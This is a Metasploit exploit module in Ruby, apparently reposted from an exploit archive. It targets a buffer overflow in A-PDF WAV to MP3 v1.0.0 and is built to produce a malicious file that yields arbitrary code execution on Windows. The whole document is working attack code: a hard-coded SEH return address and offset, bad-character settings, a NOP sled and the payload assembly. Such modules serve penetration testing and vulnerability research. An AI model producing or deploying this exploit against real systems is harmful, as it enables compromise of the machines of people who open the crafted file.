A-PDF WAV to MP3 v1.0.0 Buffer Overflow

`##  
# $Id: a-pdf_wav_to_mp3.rb 10107 2010-08-23 16:58:42Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'A-PDF WAV to MP3 v1.0.0 Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When  
the application is used to import a specially crafted m3u file, a buffer overflow occurs  
allowing arbitrary code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'd4rk-h4ck3r', # Original Exploit  
'Dr_IDE', # SEH Exploit  
'dookie' # MSF Module  
],  
'Version' => '$Revision: 10107 $',  
'References' =>  
[  
[ 'OSVDB', '67241' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/14676/' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/14681/' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
'Payload' =>  
{  
'Space' => 600,  
'BadChars' => "\x00\x0a",  
'StackAdjustment' => -3500  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows Universal', { 'Ret' => 0x0047265c, 'Offset' => 4132 } ], # p/p/r in wavtomp3.exe  
],  
'Privileged' => false,  
'DisclosureDate' => 'Aug 17 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),  
], self.class)  
  
end  
  
def exploit  
  
sploit = rand_text_alpha_upper(target['Offset'])  
sploit << generate_seh_payload(target.ret)  
sploit << "\x90" * 12  
sploit << payload.encoded  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(sploit)  
  
end  
  
end  
`